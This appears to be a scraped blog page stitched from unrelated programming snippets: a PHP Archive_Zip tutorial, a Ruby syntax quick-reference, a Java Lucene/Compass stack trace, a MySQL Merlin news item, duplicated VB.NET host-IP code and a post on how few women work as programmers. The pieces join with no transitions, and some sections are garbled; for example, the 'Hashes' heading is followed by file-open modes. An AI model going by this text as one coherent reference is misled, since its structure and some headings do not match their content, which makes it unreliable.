2. Next, an array is initialized to hold a list of all the files to be compressed, together with their disk locations; these locations may be specified in either absolute or relative terms, but a key consideration is that the script must have read privileges to on those files or disk locations.
3. Finally, the create() method is used to actually construct the archive by compressing and merging the named files. This method accepts the file list as input, and returns a Boolean value indicating whether or not the archive was successfully created. It's important to note that the script must have write privileges in the directory the file is being created in, or else the create() method will fail; this is a common error and one that trips up most new users.
Now, try running the script above, after modifying the source file list and destination file location to reflect your local system configuration. If all goes well, Archive_Zip should find the files you listed and compress them into a new ZIP archive named test.zip.
Viewing ZIP archive contents
What about looking inside an existing ZIP archive? Archive_Zip lets you do that too, via its listContent() method. Here's an example (Listing B):
Listing B
include ('Archive/Zip.php'); // imports
$obj = new Archive_Zip('test.zip'); // name of zip file
$files = $obj->listContent(); // array of file information
foreach ($files as $f) {
foreach ($f as $k => $v) {
echo "$k: $v\n";
}
echo "\n";
}
?>
The output of listContent() is a structured array of arrays, with each array element representing an individual file from the archive. Typically, each element holds information on the name of the corresponding file, its index position, its status, its size (both compressed and uncompressed) and its time of last modification. It's fairly easy to extract this information with a loop and re-format it to make it more presentable, as Listing B does. Here's a sample of the output (Listing C):
Listing C
filename: mystuff/alcon.xls
stored_filename: mystuff/alcon.xls
size: 113664
compressed_size: 35902
mtime: 1141996836
comment:
folder:
index: 0
status: ok
Adding new files to existing ZIP archives
An interesting feature of the Archive_Zip class is its ability to add new files to an existing archive via its add() method. To illustrate, let's go back to test.zip and try adding a new file to it (Listing D):
Listing D
include ('Archive/Zip.php'); // imports
if (file_exists('test.zip')) {
$obj = new Archive_Zip('test.zip'); // name of zip file
} else {
die('File does not exist');
}
$files = array('otherstuff/montecarlo.png'); // additional files to store
if ($obj->add($files)) {
echo 'Added successfully!';
} else {
echo 'Error in file addition';
}
?>
As you can see, the procedure to add a new file to an existing archive is very similar to that of creating a new archive: initialize a new Archive_Zip object pointing to the archive in question, create an array representing the list of files to be added, and pass this array to the add() method. Like create(), add()returns a Boolean signal indicating whether or not the addition succeeded. As before, a key issue to keep in mind involves privileges: remember to ensure that the script has appropriate privileges to read the source files and write the new compressed archive back to disk.
Deleting files from existing ZIP archives
Just as you can add files, so too can you delete files. The Archive_Zip class comes with a delete() method that lets you remove files from an existing archive. Listing E illustrates.
Listing E
include ('Archive/Zip.php'); // imports
if (file_exists('test.zip')) {
$obj = new Archive_Zip('test.zip'); // name of zip file
} else {
die('File does not exist');
}
$files = array('mystuff/ad.gif', 'otherstuff/montecarlo.png'); // files to delete
if ($obj->delete(array('by_name' => $files))) {
echo 'Deleted successfully!';
} else {
echo 'Error in file deletion';
}
?>
Here, an array of files to delete is created, and then passed to the delete() method. Note the special "by_name" argument in the call to delete(): this tells Archive_Zip to delete only those files with an exact name match. If the deletion is successful, the delete() method returns true.
In addition to this type of selective assassination, the delete() method also supports large-scale nuking of files matching a specified pattern or regular expression. Both Perl and PHP regular expressions are supported, using either the "by_ereg" or "by_preg" parameters. Listing F is an example, illustrating how this method can be used to delete all *.doc files from an archive using a Perl regular expression.
Listing F
include ('Archive/Zip.php'); // imports
if (file_exists('test.zip')) {
$obj = new Archive_Zip('test.zip'); // name of zip file
} else {
die('File does not exist');
}
if ($obj->delete(array('by_preg' => "/.*doc$/"))) { // all DOC files
echo 'Deleted successfully!';
} else {
echo 'Error in file deletion';
}
?>
I have put a view for each blog, actually it is less than 9 hours from the time of writing this post, you can see how many hits I am getting on each post. My intention was to check in the hit stats for each post.
* Comments start with a pound/sharp (#) character and go to EOL.
* Ruby programs are sequence of expressions.
* Each expression is delimited by semicolons(;) or newlines unless obviously incomplete (e.g. trailing '+').
* Backslashes at the end of line does not terminate expression.
Reserved words
alias and BEGIN begin break case class def defined
do else elsif END end ensure false for if
in module next nil not or redo rescue retry
return self super then true undef unless until when
while yield
Types
Basic types are numbers, strings, ranges, regexen, symbols, arrays, and hashes. Also included are files because they are used so often.
Numbers
In all of the %() cases below, you may use any matching characters or any single character for delimiters. %[], %!!, %@@, etc.
'no interpolation'
"#{interpolation}, and backslashes\n"
%q(no interpolation)
%Q(interpolation and backslashes)
%(interpolation and backslashes)
`echo command interpretation with interpolation and backslashes`
%x(echo command interpretation with interpolation and backslashes)
while gets # prints lines starting at 'start' and ending at 'end'
print if /start/../end/
end
class comparable
# ...
def <=>(rhs)
# ...
end
def succ
# ...
end
end
range = RangeThingy.new(lower_bound)..RangeThingy.new(upper_bound)
Regexen
/normal regex/iomx[neus]
%r|alternate form|
options:
/i case insensitive
/o only interpolate #{} blocks once
/m multiline mode - '.' will match newline
/x extended mode - whitespace is ignored
/[neus] encoding: none, EUC, UTF-8, SJIS, respectively
regex characters:
. any character except newline
[ ] any single character of set
[^ ] any single character NOT of set
* 0 or more previous regular expression
*? 0 or more previous regular expression(non greedy)
+ 1 or more previous regular expression
+? 1 or more previous regular expression(non greedy)
? 0 or 1 previous regular expression
| alternation
( ) grouping regular expressions
^ beginning of a line or string
$ end of a line or string
{m,n} at least m but most n previous regular expression
{m,n}? at least m but most n previous regular expression(non greedy)
\A beginning of a string
\b backspace(0x08)(inside[]only)
\B non-word boundary
\b word boundary(outside[]only)
\d digit, same as[0-9]
\D non-digit
\S non-whitespace character
\s whitespace character[ \t\n\r\f]
\W non-word character
\w word character[0-9A-Za-z_]
\z end of a string
\Z end of a string, or before newline at the end
(?# ) comment
(?: ) grouping without backreferences
(?= ) zero-width positive look-ahead assertion
(?! ) zero-width negative look-ahead assertion
(?ix-ix) turns on/off i/x options, localized in group if any.
(?ix-ix: ) turns on/off i/x options, localized in non-capturing group.
Arrays
[1, 2, 3]
%w(foo bar baz)
%W(foo bar baz #{var})
Indexes may be negative, and they index backwards (eg -1 is last element).
Hashes
r
Read-only, starts at beginning of file (default mode).
r+
Read-write, starts at beginning of file.
w
Write-only, truncates existing file to zero length or creates a new file for writing.
w+
Read-write, truncates existing file to zero length or creates a new file for reading and writing.
a
Write-only, starts at end of file if file exists, otherwise creates a new file for writing.
a+
Read-write, starts at end of file if file exists, otherwise creates a new file for reading and writing.
b
(DOS/Windows only) Binary file mode (may appear with any of the key letters listed above).
self the receiver of the current method
nil the sole instance of the Class NilClass(represents false)
true the sole instance of the Class TrueClass(typical true value)
false the sole instance of the Class FalseClass(represents false)
__FILE__ the current source file name.
__LINE__ the current line number in the source file.
Pre-defined variables
$! The exception information message set by 'raise'.
$@ Array of backtrace of the last exception thrown.
$& The string matched by the last successful pattern match in this scope.
$` The string to the left of the last successful match.
$' The string to the right of the last successful match.
$+ The last bracket matched by the last successful match.
$1 The Nth group of the last successful match. May be > 1.
$~ The information about the last match in the current scope.
$= The flag for case insensitive, nil by default.
$/ The input record separator, newline by default.
$\ The output record separator for the print and IO#write. Default is nil.
$, The output field separator for the print and Array#join.
$; The default separator for String#split.
$. The current input line number of the last file that was read.
$< The virtual concatenation file of the files given on command line.
$> The default output for print, printf. $stdout by default.
$_ The last input line of string by gets or readline.
$0 Contains the name of the script being executed. May be assignable.
$* Command line arguments given for the script sans args.
$$ The process number of the Ruby running this script.
$? The status of the last executed child process.
$: Load path for scripts and binary modules by load or require.
$" The array contains the module names loaded by require.
$DEBUG The status of the -d switch.
$FILENAME Current input file from $<. Same as $<.filename.
$LOAD_PATH The alias to the $:.
$stderr The current standard error output.
$stdin The current standard input.
$stdout The current standard output.
$VERBOSE The verbose flag, which is set by the -v switch.
$-0 The alias to $/.
$-a True if option -a is set. Read-only variable.
$-d The alias to $DEBUG.
$-F The alias to $;.
$-i In in-place-edit mode, this variable holds the extension, otherwise nil.
$-I The alias to $:.
$-l True if option -l is set. Read-only variable.
$-p True if option -p is set. Read-only variable.
$-v The alias to $VERBOSE.
$-w True if option -w is set.
Pre-defined global constants
TRUE The typical true value.
FALSE The false itself.
NIL The nil itself.
STDIN The standard input. The default value for $stdin.
STDOUT The standard output. The default value for $stdout.
STDERR The standard error output. The default value for $stderr.
ENV The hash contains current environment variables.
ARGF The alias to the $<.
ARGV The alias to the $*.
DATA The file object of the script, pointing just after __END__.
RUBY_VERSION The ruby version string (VERSION was deprecated).
RUBY_RELEASE_DATE The release date string.
RUBY_PLATFORM The platform identifier.
Expressions
Terms
Terms are expressions that may be a basic type (listed above), a shell command, variable reference, constant reference, or method invocation.
Operators and Precedence
(Top to bottom)
:: .
[]
**
-(unary) +(unary) ! ~
* / %
+ -
<< >>
&
| ^
> >= < <=
<=> == === != =~ !~
&&
||
.. ...
=(+=, -=...)
not
and or
In addition, assignment operators(+= etc.) are not user-definable.
Control Expressions
if bool-expr [then]
body
elsif bool-expr [then]
body
else
body
end
unless bool-expr [then]
body
else
body
end
expr if bool-expr
expr unless bool-expr
case target-expr
when comparison [, comparison]... [then]
body
when comparison [, comparison]... [then]
body
...
[else
body]
end
(comparisons may be regexen)
loop do
body
end
while bool-expr [do]
body
end
until bool-expr [do]
body
end
begin
body
end while bool-expr
begin
body
end until bool-expr
for name[, name]... in expr [do]
body
end
expr.each do | name[, name]... |
body
end
expr while bool-expr
expr until bool-expr
* break terminates loop immediately.
* redo immediately repeats w/o rerunning the condition.
* next starts the next iteration through the loop.
* retry restarts the loop, rerunning the condition.
Invoking a Method
Nearly everything available in a method invocation is optional, consequently the syntax is very difficult to follow. Here are some examples:
* method
* obj.method
* Class::method
* method(key1 => val1, key2 => val2)
o is one argument for def method(hash_arg) !
* method(arg1, *[arg2, arg3]) becomes: method(arg1, arg2, arg3)
* as ugly as you want it to be:
o method(arg1, key1 => val1, key2 => val2, *splat_arg) #{ block }
# singleton classes, add methods to a single instance
class << obj
expr..
end
Defining a Module
module Identifier
expr..
end
Defining a Method
def method_name(arg_list, *list_expr, &block_expr)
expr..
end
# singleton method
def expr.identifier(arg_list, *list_expr, &block_expr)
expr..
end
* All items of the arg list, including parens, are optional.
* Arguments may have default values (name=expr).
* Method_name may be operators (see above).
* The method definitions can not be nested.
* Methods may override operators: .., |, ^, &, <=>, ==, ===, =~, >, >=, <, <=, +, -, *, /, %, **, <<, >>, ~, +@, -@, [], []= (2 args)
Access Restriction
* public - totally accessible.
* protected - accessible only by instances of class and direct descendants. Even through hasA relationships. (see below)
* private - accessible only by instances of class (must be called nekkid no "self." or anything else).
* Restriction used w/o arguments set the default access control.
* Used with arguments, sets the access of the named methods and constants.
class A
protected
def protected_method
# nothing
end
end
class B < A
public
def test_protected
myA = A.new
myA.protected_method
end
end
b = B.new.test_protected
Accessors
Class Module provides the following utility methods:
attr_reader [, ]...
Creates a read-only accessor for each .
attr_writer [, ]...
Creates a write-only accessor for each .
attr [, ]
Equivalent to "attr_reader ; attr_writer if "
attr_accessor [, ]...
Equivalent to "attr , TRUE" for each argument.
Aliasing
alias :new :old
alias_method :new, :old
Creates a new reference to whatever old referred to. old can be any existing method, operator, global. It may not be a local, instance, constant, or class variable.
Blocks, Closures, and Procs
Blocks/Closures
* blocks must follow a method invocation:
invocation do ... end
invocation { ... }
* Blocks remember their variable context, and are full closures.
* Blocks are invoked via yield and may be passed arguments.
* Brace form has higher precedence and will bind to the last parameter if invocation made w/o parens.
* do/end form has lower precedence and will bind to the invocation even without parens.
Proc Objects
Created via:
* Kernel#proc
* Proc#new
* By invoking a method w/ a block argument.
See class Proc for more information.
Exceptions, Catch, and Throw
* Exception
o NoMemoryError
o ScriptError
+ LoadError
+ NotImplementedError
+ SyntaxError
o SignalException
+ Interrupt
o StandardError (default for rescue)
+ ArgumentError
+ IOError
# EOFError
+ IndexError
+ LocalJumpError
+ NameError
# NoMethodError
+ RangeError
# FloatDomainError
+ RegexpError
+ RuntimeError (default for raise)
+ SecurityError
+ SystemCallError
# Errno::*
+ SystemStackError
+ ThreadError
+ TypeError
+ ZeroDivisionError
o SystemExit
o fatal
begin
expr..
[rescue [error_type [=> var],..]
expr..]..
[else
expr..]
[ensure
expr..]
end
Standard Library
Ruby comes with an extensive library of classes and modules. Some are built-in, and some are part of the standard library. You can distinguish the two by the fact that the built-in classes are in fact, built-in. There are no dot-rb files for them.
Built-in Library
Class Hierarchy
* Object
o Hash
o Symbol
o IO
+ File
o Continuation
o File::Stat
o Data
o NilClass
o Exception (see tree above)
o Array
o Proc
o String
o Numeric
+ Float
+ Integer
# Bignum
# Fixnum
o Regexp
o Thread
o Module
+ Class
o ThreadGroup
o Method
+ UnboundMethod
o Struct
+ Struct::Tms
o TrueClass
o Time
o Dir
o Binding
o Range
o MatchData
o FalseClass
* benchmark.rb a simple benchmarking utility
* cgi-lib.rb decode CGI data - simpler than cgi.rb
* cgi.rb CGI interaction
* date.rb date object (compatible)
* debug.rb ruby debugger
* delegate.rb delegate messages to other object
* English.rb access global variables by english names
* fileutils.rb file utility methods for copying, moving, removing, etc.
* find.rb traverse directory tree
* jcode.rb UTF-8 and Japanese String helpers (replaces String methods)
* net/*.rb Networking classes of all kinds
* observer.rb observer design pattern library (provides Observable)
* open-uri.rb good wrapper for net/http, net/https and net/ftp
* open3.rb open subprocess connection stdin/stdout/stderr
* ostruct.rb python style object (freeform assignment to instance vars)
* parsearg.rb argument parser using getopts
* pp prettier debugging output, 'p' on steroids.
* profile.rb ruby profiler - find that slow code!
* pstore.rb persistent object strage using marshal
* rexml/*.rb XML toolkit
* singleton.rb singleton design pattern library
* stringio lets you use an IO attached to a string.
* tempfile.rb temporary file that automatically removed
* test/unit unit testing framework
* time.rb extension to Time class with a lot of converters
* tracer.rb execution tracer
* webrick Fairly spiffy web server
* yaml alternative readable serialization format
Tools
ruby
Command Line Options
-0[octal] specify record separator (\0, if no argument).
-a autosplit mode with -n or -p (splits $_ into $F).
-c check syntax only.
-Cdirectory cd to directory, before executing your script.
--copyright print the copyright and exit.
-d set debugging flags (set $DEBUG to true).
-e 'command' one line of script. Several -e's allowed.
-F regexp split() pattern for autosplit (-a).
-h prints summary of the options.
-i[extension] edit ARGV files in place (make backup if extension supplied).
-Idirectory specify $LOAD_PATH directory (may be used more than once).
-Kkcode specifies KANJI (Japanese) code-set.
-l enable line ending processing.
-n assume 'while gets(); ... end' loop around your script.
-p assume loop like -n but print line also like sed.
-rlibrary require the library, before executing your script.
-s enable some switch parsing for switches after script name.
-S look for the script using PATH environment variable.
-T[level] turn on tainting checks.
-v print version number, then turn on verbose mode.
--version print the version and exit.
-w turn warnings on for your script.
-x[directory] strip off text before #! line and perhaps cd to directory.
-X directory causes Ruby to switch to the directory.
-y turns on compiler debug mode.
Environment Variables
DLN_LIBRARY_PATH Search path for dynamically loaded modules.
RUBYLIB Additional search paths.
RUBYLIB_PREFIX Add this prefix to each item in RUBYLIB. Windows only.
RUBYOPT Additional command line options.
RUBYPATH With -S, searches PATH, or this value for ruby programs.
RUBYSHELL Shell to use when spawning.
irb
irb [options] [script [args]]
The essential options are:
-d Sets $DEBUG to true. Same as "ruby -d ..."
-f Prevents the loading of ~/.irb.rc.
-h Get a full list of options.
-m Math mode. Overrides --inspect. Loads "mathn.rb".
-r module Loads a module. Same as "ruby -r module ..."
-v Prints the version and exits.
--inf-ruby-mode Turns on emacs support and turns off readline.
--inspect Turns on inspect mode. Default.
--noinspect Turns off inspect mode.
--noprompt Turns off the prompt.
--noreadline Turns off readline support.
--prompt Sets to one of 'default', 'xmp', 'simple', or 'inf-ruby'.
--readline Turns on readline support. Default.
--tracer Turns on trace mode.
Besides arbitrary ruby commands, the special commands are:
exit exits the current session, or the program
fork block forks and runs the given block
cb args changes to a secified binding
source file loads a ruby file into the session
irb [obj] starts a new session, with obj as self, if specified
conf[.key[= val]] access the configuration of the session
jobs lists the known sessions
fg session switches to the specifed session
kill session kills a specified session
Session may be specified via session#, thread-id, obj, or self.
xmp
require "irb/xmp"
xmp "something to eval" # or:
x = XMP.new
x.puts "something to eval"
ruby-mode
TODO: I don't have a freakin clue how to use the inferior ruby thing... I always fire up a shell in emacs... DOH!
Debugger
To invoke the debugger:
ruby -r debug ...
To use the debugger:
b[reak] [file:|class:]
b[reak] [class.]
set breakpoint to some position
wat[ch] expression set watchpoint to some expression
cat[ch] exception set catchpoint to an exception
b[reak] list breakpoints
cat[ch] show catchpoint
del[ete][ nnn] delete some or all breakpoints
disp[lay] expression add expression into display expression list
undisp[lay][ nnn] delete one particular or all display expressions
c[ont] run until program ends or hit breakpoint
s[tep][ nnn] step (into methods) one line or till line nnn
n[ext][ nnn] go over one line or till line nnn
w[here] display frames
f[rame] alias for where
l[ist][ (-|nn-mm)] list program, - lists backwards
nn-mm lists given lines
up[ nn] move to higher frame
down[ nn] move to lower frame
fin[ish] return to outer frame
tr[ace] (on|off) set trace mode of current thread
tr[ace] (on|off) all set trace mode of all threads
q[uit] exit from debugger
v[ar] g[lobal] show global variables
v[ar] l[ocal] show local variables
v[ar] i[nstance] object show instance variables of object
v[ar] c[onst] object show constants of object
m[ethod] i[nstance] obj show methods of object
m[ethod] class|module show instance methods of class or module
th[read] l[ist] list all threads
th[read] c[ur[rent]] show current thread
th[read] [sw[itch]] nnn switch thread context to nnn
th[read] stop nnn stop thread nnn
th[read] resume nnn resume thread nnn
p expression evaluate expression and print its value
h[elp] print this help
everything else evaluate
empty repeats the last command
rdoc
=begin
the everything between a line beginning with `=begin' and
that with `=end' will be skipped by the interpreter.
=end
FIX: there is a lot more to rdoc.
Mindshare, Idiom and Patterns
Object Design
Visitor Pattern
By defining the method #each and including Enumerable, you get to use all the methods in Enumerable:
class Mailbox
include Enumerable
# ...
def each
@mail.each do
# ...
yield
end
end
end
Class SimpleDelegator, DelegateClass
foo = Object.new
foo2 = SimpleDelegator.new(foo)
foo.hash == foo2.hash # => false
Foo = DelegateClass(Array)
class ExtArray
...
end
Module Observer
monitor.add_observer(self)
...
def update
...
notify_observers(data, ...)
end
Module Singleton
class Klass
include Singleton
# ...
end
a, b = Klass.instance, Klass.instance
a == b # => true
a.new # raises NoMethodError
org.apache.lucene.queryParser.ParseException: Encountered "" at line
1, column 43.
Was expecting one of:
"(" ... ... ... ... ...
"[" ...
"{" ... ...
at org.apache.lucene.queryParser.QueryParser.generateParseException(QueryParser.java:1226)
at org.apache.lucene.queryParser.QueryParser.jj_consume_token(QueryParser.java:1109)
at org.apache.lucene.queryParser.QueryParser.Clause(QueryParser.java:759)
at org.apache.lucene.queryParser.QueryParser.Query(QueryParser.java:712)
at org.apache.lucene.queryParser.QueryParser.parse(QueryParser.java:122)
at org.compass.core.lucene.engine.query.LuceneSearchEngineQueryStringBuilder.toQuery(LuceneSearchEngineQueryStringBuilder.java:79)
at org.compass.core.impl.DefaultCompassQueryBuilder$DefaultCompassQueryStringBuilder.toQuery(DefaultCompassQueryBuilder.java:163)
at org.compass.spring.web.mvc.CompassSearchController.buildQuery(CompassSearchController.java:166)
at org.compass.spring.web.mvc.CompassSearchController.performSearch(CompassSearchController.java:102)
at com.dz.controllers.SearchController.access$000(SearchController.java:36)
at com.dz.controllers.SearchController$1.doInCompass(SearchController.java:58)
at org.compass.core.CompassTemplate.execute(CompassTemplate.java:133)
at org.compass.core.CompassTemplate.execute(CompassTemplate.java:116)
at com.dz.controllers.SearchController.handle(SearchController.java:56)
at org.springframework.web.servlet.mvc.AbstractCommandController.handleRequestInternal(AbstractCommandController.java:82)
at org.springframework.web.servlet.mvc.AbstractController.handleRequest(AbstractController.java:153)
at sun.reflect.GeneratedMethodAccessor175.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:585)
at org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(AopUtils.java:287)
at org.springframework.aop.framework.ReflectiveMethodInvocation.invokeJoinpoint(ReflectiveMethodInvocation.java:181)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:148)
at org.springframework.aop.framework.adapter.MethodBeforeAdviceInterceptor.invoke(MethodBeforeAdviceInterceptor.java:53)
at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:170)
at org.springframework.aop.framework.JdkDynamicAopProxy.invoke(JdkDynamicAopProxy.java:176)
at $Proxy14.handleRequest(Unknown Source)
at org.springframework.web.servlet.mvc.SimpleControllerHandlerAdapter.handle(SimpleControllerHandlerAdapter.java:45)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:796)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:727)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:396)
at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:350)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:115)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:92)
at com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:106)
at com.dz.utils.filters.DZCharacterEncodingFilter.doFilterInternal(DZCharacterEncodingFilter.java:83)
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:77)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.opensymphony.module.sitemesh.filter.PageFilter.parsePage(PageFilter.java:118)
at com.opensymphony.module.sitemesh.filter.PageFilter.doFilter(PageFilter.java:52)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.dz.utils.filters.WhosOnlineFilter.doFilter(WhosOnlineFilter.java:148)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:292)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:106)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:79)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:143)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.providers.anonymous.AnonymousProcessingFilter.doFilter(AnonymousProcessingFilter.java:138)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.rememberme.RememberMeProcessingFilter.doFilter(RememberMeProcessingFilter.java:174)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.AbstractProcessingFilter.doFilter(AbstractProcessingFilter.java:246)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.context.HttpSessionContextIntegrationFilter.doFilter(HttpSessionContextIntegrationFilter.java:156)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.util.FilterChainProxy.doFilter(FilterChainProxy.java:173)
at org.acegisecurity.util.FilterToBeanProxy.doFilter(FilterToBeanProxy.java:120)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.caucho.server.webapp.DispatchFilterChain.doFilter(DispatchFilterChain.java:115)
at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:229)
at com.caucho.server.webapp.RequestDispatcherImpl.forward(RequestDispatcherImpl.java:277)
at com.caucho.server.webapp.RequestDispatcherImpl.forward(RequestDispatcherImpl.java:106)
at org.tuckey.web.filters.urlrewrite.RewrittenUrl.doRewrite(RewrittenUrl.java:176)
at org.tuckey.web.filters.urlrewrite.UrlRewriteFilter.doFilter(UrlRewriteFilter.java:728)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:292)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.invoke(FilterSecurityInterceptor.java:116)
at org.acegisecurity.intercept.web.FilterSecurityInterceptor.doFilter(FilterSecurityInterceptor.java:79)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.ExceptionTranslationFilter.doFilter(ExceptionTranslationFilter.java:143)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.providers.anonymous.AnonymousProcessingFilter.doFilter(AnonymousProcessingFilter.java:138)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.rememberme.RememberMeProcessingFilter.doFilter(RememberMeProcessingFilter.java:174)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.ui.AbstractProcessingFilter.doFilter(AbstractProcessingFilter.java:246)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.context.HttpSessionContextIntegrationFilter.doFilter(HttpSessionContextIntegrationFilter.java:220)
at org.acegisecurity.util.FilterChainProxy$VirtualFilterChain.doFilter(FilterChainProxy.java:303)
at org.acegisecurity.util.FilterChainProxy.doFilter(FilterChainProxy.java:173)
at org.acegisecurity.util.FilterToBeanProxy.doFilter(FilterToBeanProxy.java:120)
at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:70)
at com.caucho.server.cache.CacheFilterChain.doFilter(CacheFilterChain.java:209)
at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:173)
at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:229)
at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:274)
at com.caucho.server.port.TcpConnection.run(TcpConnection.java:511)
at com.caucho.util.ThreadPool.runTasks(ThreadPool.java:516)
at com.caucho.util.ThreadPool.run(ThreadPool.java:442)
at java.lang.Thread.run(Thread.java:595)
Resin Professional 3.0.21 (built Thu, 10 Aug 2006 12:17:46 PDT)
Ruby is a programming language from Japan (available at ruby-lang.org) which is revolutionizing the web. The beauty of Ruby is found in its balance between simplicity and power.
Merlin is a server-based database monitoring and advisory service which continually scans a user's database network for any likely system crashes, bottlenecks or security vulnerabilities, the source said. Under development at MySQL for 22 months, Merlin is due to debut late in the fourth quarter of this calendar year or early in the first quarter of 2007. It's unclear whether Merlin contains any third-party software or if MySQL developers have modeled the offering on any existing database monitoring and advisory service.
The aim of Merlin is to simplify MySQL database administration for both small to midsize businesses (SMBs) and enterprises. While SMBs often can't afford to employ database administrators (DBAs) to look after their MySQL implementations, larger firms are running into difficulties trying to find sufficient DBAs with specific MySQL skills. Customer demand was a strong factor in the vendor deciding to create Merlin, the source added.
In an interview Friday, Marten Mickos, chief executive officer at MySQL, declined to comment on the project. However, he said that one of his company's main focuses in the coming year will be to provide tools and other offerings to make life easier for MySQL DBAs.
"Our first wave of users in the '90s were not database developers," Mickos said. "In the twenty-first century, we've been enabling database developers. Now, we're thinking of ways to help DBAs and take care of them."
Merlin acts as a "virtual DBA" or "a constant MySQL consultant," the source said, alerting users to potential system issues before they become critical and offering fixes, tips and tuning options to improve the performance of the MySQL database. So far, Merlin has 50-plus database rules that it can check and provide advice on, with the expectation that both MySQL and its customers will build more customized rules in future.
Merlin, now being beta-tested at 24 customer sites, will be rolled into the MySQL Network subscription service, the source said.
System.Net.Dns class
This class offers a simple way of determining the IP address of a machine by utilizing its methods GetHostName and GetHostByName. The class also offers domain name resolution services. Its GetHostName method allows you to find out the host name of the current machine. You can use the GetHostByName method to determine the IP address of the machine.
Private Sub GetIPAddress()
Dim strHostName As String
Dim strIPAddress As String
strHostName = System.Net.Dns.GetHostName()
strIPAddress = System.Net.Dns.Resolve(strHostName).AddressList(0).ToString()
MessageBox.Show("Host Name: " & strHostName & "; IP Address: " & strIPAddress)
End Sub
--------------------------------------------------
Private Sub GetIPAddress()
Dim strHostName As String
Dim strIPAddress As String
strHostName = System.Net.Dns.GetHostName()
strIPAddress = System.Net.Dns.Resolve(strHostName).AddressList(0).ToString()
MessageBox.Show("Host Name: " & strHostName & "; IP Address: " & strIPAddress)
End Sub
This is a very unusual post, nope I am not against gals or anything of that sort. I keep browsing technical sites, anything technical hits my eye, OUCH... so did this, the techincality here was, I find there are more guy developers than gals.
I am not speaking about web designers, graphic designers, project managers etc. What I am speaking here is about programmers who do coding.